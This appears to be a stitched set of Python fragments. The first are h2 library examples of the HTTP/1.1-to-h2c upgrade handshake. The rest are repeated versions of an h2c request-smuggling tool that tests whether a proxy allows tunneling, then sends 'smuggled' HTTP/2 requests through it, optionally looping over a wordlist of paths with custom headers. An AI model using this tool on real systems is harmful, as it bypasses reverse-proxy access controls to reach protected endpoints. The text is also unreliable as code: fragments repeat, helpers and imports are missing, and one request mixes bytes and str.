def main(): """ The server upgrade flow. """ # Step 1: Establish the TCP connecton. connection = establish_tcp_connection() # Step 2: Read the response. We expect this to request an upgrade. settings_header_value = receive_initial_request(connection) # Step 3: Create a H2Connection object in server mode, and pass it the # value of the HTTP2-Settings header field. config = h2.config.H2Configuration(client_side=False) h2_connection = h2.connection.H2Connection(config=config) h2_connection.initiate_upgrade_connection( settings_header=settings_header_value) # Step 4: Send the 101 Switching Protocols response. send_upgrade_response(connection) # Step 5: Send pending HTTP/2 data. connection.sendall(h2_connection.data_to_send()) # At this point, you can enter your main loop. The first step has to be to # send the response to the initial HTTP/1.1 request you received on stream # 1. main_loop()
def main(): """ The server upgrade flow. """ # Step 1: Establish the TCP connecton. connection = establish_tcp_connection() # Step 2: Read the response. We expect this to request an upgrade. settings_header_value = receive_initial_request(connection) # Step 3: Create a H2Connection object in server mode, and pass it the # value of the HTTP2-Settings header field. h2_connection = h2.connection.H2Connection(client_side=False) h2_connection.initiate_upgrade_connection(settings_header=settings_header_value) # Step 4: Send the 101 Switching Protocols response. send_upgrade_response(connection) # Step 5: Send pending HTTP/2 data. connection.sendall(h2_connection.data_to_send()) # At this point, you can enter your main loop. The first step has to be to # send the response to the initial HTTP/1.1 request you received on stream # 1. main_loop()
def main(): """ The client upgrade flow. """ # Step 1: Establish the TCP connecton. connection = establish_tcp_connection() # Step 2: Create H2 Connection object, put it in upgrade mode, and get the # value of the HTTP2-Settings header we want to use. h2_connection = h2.connection.H2Connection() settings_header_value = h2_connection.initiate_upgrade_connection() # Step 3: Send the initial HTTP/1.1 request with the upgrade fields. send_initial_request(connection, settings_header_value) # Step 4: Read the HTTP/1.1 response, look for 101 response. extra_data = get_upgrade_response(connection) # Step 5: Immediately send the pending HTTP/2 data. connection.sendall(h2_connection.data_to_send()) # Step 6: Feed the body data to the connection. events = connection.receive_data(extra_data) # Now you can enter your main loop, beginning by processing the first set # of events above. These events may include ResponseReceived, which will # contain the response to the request we made in Step 3. main_loop(events)
def send_upgrade_response(connection): """ This function writes the 101 Switching Protocols response. """ response = (b"HTTP/1.1 101 Switching Protocols\r\n" b"Upgrade: h2c\r\n" b"\r\n") connection.sendall(response)
def send_upgrade_response(connection): """ This function writes the 101 Switching Protocols response. """ response = ( b"HTTP/1.1 101 Switching Protocols\r\n" b"Upgrade: h2c\r\n" b"\r\n" ) connection.sendall(response)
def send_initial_request(connection, settings): """ For the sake of this upgrade demonstration, we're going to issue a GET request against the root of the site. In principle the best request to issue for an upgrade is actually ``OPTIONS *``, but this is remarkably poorly supported and can break in weird ways. """ # Craft our initial request per RFC 7540 Section 3.2. This requires two # special header fields: the Upgrade headre, and the HTTP2-Settings header. # The value of the HTTP2-Settings header field comes from h2. request = (b"GET / HTTP/1.1\r\n" + b"Host: localhost\r\n" + b"Upgrade: h2c\r\n" + b"HTTP2-Settings: " + settings + "\r\n" b"\r\n") connection.sendall(request)
def send_initial_request(connection, settings): """ For the sake of this upgrade demonstration, we're going to issue a GET request against the root of the site. In principle the best request to issue for an upgrade is actually ``OPTIONS *``, but this is remarkably poorly supported and can break in weird ways. """ # Craft our initial request per RFC 7540 Section 3.2. This requires two # special header fields: the Upgrade headre, and the HTTP2-Settings header. # The value of the HTTP2-Settings header field comes from h2. request = ( b"GET / HTTP/1.1\r\n" + b"Host: localhost\r\n" + b"Upgrade: h2c\r\n" + b"HTTP2-Settings: " + settings + "\r\n" b"\r\n" ) connection.sendall(request)
def send_initial_request(connection, proxy_url, settings): global UPGRADE_ONLY path = proxy_url.path or "/" addl_conn_str = b", HTTP2-Settings" if UPGRADE_ONLY: addl_conn_str = b"" request = ( b"GET " + path.encode('utf-8') + b" HTTP/1.1\r\n" + b"Host: " + proxy_url.hostname.encode('utf-8') + b"\r\n" + b"Accept: */*\r\n" + b"Accept-Language: en\r\n" + b"Upgrade: h2c\r\n" + # b"HTTP2-Settings: " + settings + b"\r\n" + # # hyper-h2 base64-encoded settings contain '_' chars, which although # allowed by spec triggered errors on some faulty h2c implementatons. b"HTTP2-Settings: " + b"AAMAAABkAARAAAAAAAIAAAAA" + b"\r\n" + b"Connection: Upgrade" + addl_conn_str + b"\r\n" + b"\r\n") connection.sendall(request)
def sendSmuggledRequest(h2_connection, connection, smuggled_request_headers, args): stream_id = h2_connection.get_next_available_stream_id() # Custom Step 2: Send new request on new stream id h2_connection.send_headers(stream_id, smuggled_request_headers, end_stream=args.data is None) # Custom Step 3: Immediately send the pending HTTP/2 data. connection.sendall(h2_connection.data_to_send()) if args.data: sendData(h2_connection, connection, args.data.encode("UTF-8"), stream_id) # Custom Step 4: Receive data and process events = getData(h2_connection, connection) handle_events(events, args.verbose)
def main(args): """ The client upgrade flow. """ proxy_url = urlparse(args.proxy) # Step 1: Establish the TCP connecton. connection = establish_tcp_connection(proxy_url) # Step 2: Create H2 Connection object, put it in upgrade mode, and get the # value of the HTTP2-Settings header we want to use. h2_connection = h2.connection.H2Connection() settings_header_value = h2_connection.initiate_upgrade_connection() # Step 3: Send the initial HTTP/1.1 request with the upgrade fields. send_initial_request(connection, proxy_url, settings_header_value) # Step 4: Read the HTTP/1.1 response, look for 101 response. extra_data = get_upgrade_response(connection) print("[INFO] h2c stream established successfully.") if args.test: print("[INFO] Success! " + args.proxy + " can be used for tunneling") sys.exit(0) # Step 5: Immediately send the pending HTTP/2 data. connection.sendall(h2_connection.data_to_send()) # Step 6: Feed the body data to the connection. events = h2_connection.receive_data(extra_data) # Step 7 Receive data and process events = getData(h2_connection, connection) connection.sendall(h2_connection.data_to_send()) handle_events(events, args.verbose) # Craft request headers and grab next available stream id if args.wordlist: with open(args.wordlist) as fd: urls = [urlparse(urljoin(args.url, url.strip())) for url in fd.readlines()] else: urls = [urlparse(args.url)] for url in urls: path = url.path or "/" smuggled_request_headers = [ (':method', args.request), (':authority', url.hostname), (':scheme', url.scheme), (':path', path), ] # Add user-defined headers if args.header: for header in args.header: smuggled_request_headers.append(tuple(header.split(": "))) # Send request print("[INFO] Requesting - " + path) sendSmuggledRequest(h2_connection, connection, smuggled_request_headers, args) # Terminate connection h2_connection.close_connection() connection.sendall(h2_connection.data_to_send()) connection.shutdown(socket.SHUT_RDWR) connection.close()
def main(args): """ The client upgrade flow. """ if not args.proxy.startswith("http"): print("[ERROR]: invalid protocol: " + args.proxy, file=sys.stderr) sys.exit(1) proxy_url = urlparse(args.proxy) # Step 1: Establish the TCP connecton. connection = establish_tcp_connection(proxy_url) # Step 2: Create H2 Connection object, put it in upgrade mode, and get the # value of the HTTP2-Settings header we want to use. h2_connection = h2.connection.H2Connection() settings_header_value = h2_connection.initiate_upgrade_connection() # Step 3: Send the initial HTTP/1.1 request with the upgrade fields. send_initial_request(connection, proxy_url, settings_header_value) # Step 4: Read the HTTP/1.1 response, look for 101 response. extra_data, success = get_upgrade_response(connection, proxy_url) if not success: sys.exit(1) print("[INFO] h2c stream established successfully.") if args.test: print("[INFO] Success! " + args.proxy + " can be used for tunneling") sys.exit(0) import time # time.sleep(2) # Step 5: Immediately send the pending HTTP/2 data. # This must send the http pri request that establishes http2 # also appears to send the initial get request again d = h2_connection.data_to_send() # print("data to send ", d) connection.sendall(d) # Step 6: Feed the body data to the connection. events = h2_connection.receive_data(extra_data) # Step 7 Receive data and process events = getData(h2_connection, connection) # We then have recieved the response handle_events(events, [(), ('host', proxy_url.netloc), (), ('path', proxy_url.path)], args.verbose) # This is an ack d = h2_connection.data_to_send() # print("data to send", d) connection.sendall(d) # Craft request headers and grab next available stream id if args.wordlist: with open(args.wordlist) as fd: urls = [ urlparse(urljoin(args.url, url.strip())) for url in fd.readlines() ] else: urls = [urlparse(args.url)] import time # time.sleep(5) for url in urls: path = url.path or "/" smuggled_request_headers = [ (':method', args.request), (':authority', url.hostname), (':scheme', url.scheme), (':path', path), ] # Add user-defined headers if args.header: for header in args.header: smuggled_request_headers.append(tuple(header.split(": "))) # Send request print("[INFO] Requesting - " + path) sendSmuggledRequest(h2_connection, connection, smuggled_request_headers, args) # Terminate connection h2_connection.close_connection() connection.sendall(h2_connection.data_to_send()) connection.shutdown(socket.SHUT_RDWR) connection.close()